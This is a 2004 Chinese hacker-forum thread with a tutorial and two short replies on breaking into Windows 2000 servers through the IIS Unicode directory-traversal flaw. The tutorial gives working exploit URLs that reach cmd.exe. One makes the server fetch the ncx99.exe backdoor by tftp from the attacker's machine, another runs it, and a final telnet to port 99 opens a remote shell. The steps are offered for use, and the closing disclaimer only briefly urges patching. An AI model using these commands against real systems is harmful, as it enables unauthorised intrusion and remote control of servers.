论坛: 黑客进阶 标题: UNICODE漏洞全攻略系列一 复制本贴地址    
作者: 默默奉献 [xtwxf]    论坛用户   登录
大家好,unicode如今成为热门的漏洞之一,下面catsun将给大家详细讲解利用unicode漏洞进入Windows 2000的详细过程。由于关于Unicode的文章很多,就不讲述如何去寻找一个有此漏洞的主机,也不讲如何利用此漏洞修改主页,主要讲一下如何控制这个Windows2000机器。
开始:
现在我们找到的一台漏洞主机:202.100.100.1(假设)
当然下面的调用大家再熟悉不过: http://202.100.100.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
目录被列出,到这,大家都知道,可以修改主页,删除或在服务器上移动一些文件了。
但此时您的权限很低,怎样得到更高得权限呢?方法也有不少,但成功率并不很高。

经过比较,让服务器下载木马的方法较好:

首先,下载http://www.cners.com/tools/unicode.zip
解压后有如下文件:
tftpd32.exe(一个FTP服务器)
ncx99.exe(telnet 到99端口)
这两个大家都熟悉吧,其他的不用管。
运行tftpd32.exe

这是一个小巧的FTP服务器,在运行它之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服务器了。

回到你的浏览器,在地址栏里填入:
http://202.100.100.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp -i ???.???.???.??? GET ncx99.exe c:\\inetpub\\scripts\\sr.exe

???.???.???.???为你自己的IP,注意:c:\\inetpub\\scripts\\sr.exe 其中c:\\inetpub\\scripts\\为主机服务器目录,要看主机的具体情
况而定,sr.exe为被改名的ncx99.exe(自己选名字吧)。

然后等待...大概3分钟...IE浏览器左下角显示完成,红色漏斗消失,这时ncx99.exe已经上传到主机c:\inetpub\scripts\目录了,您可以自己检查一下。

再使用如下调用来执行ncx99.exe(sr.exe)
http://202.100.100.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\sr.exe

然后您就可以 telnet 202.100.100.1 99

以后就看你怎么使用这台机器了。当然您上传什么控制文件也由您自己决定,这只是一个方法。
有问题请去论坛发表: http://www.cners.com/cgi-bin/bbs3000/bbs.cgi?id=阿权
注意:
视窗安全 想用简单的描述告诉大家,IIS unicode漏洞的危害,请国内的Administrators们尽快补好,国内有些日访问量近10万的网站,仍能用以上方法攻入,值得注意。利用此文造成的一切后果由当事人承担,与CNers.COM无关。



地主 发表时间: 04-03-06 13:06

回复: 重新再来 [chiru]   论坛用户   登录
好到是好。可惜现在unicode漏洞少得很了。

B1层 发表时间: 04-03-06 15:03

回复: 菜鸟黑客 [bridex]   论坛用户   登录
如果说要是真想学UNICODE漏洞的话,你还是参照一下REDCODEII(红色代码II)的攻击方法和获得权限的方法。另外你还要补学DOS(要系统的学DOS)。

B2层 发表时间: 04-03-19 22:34

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号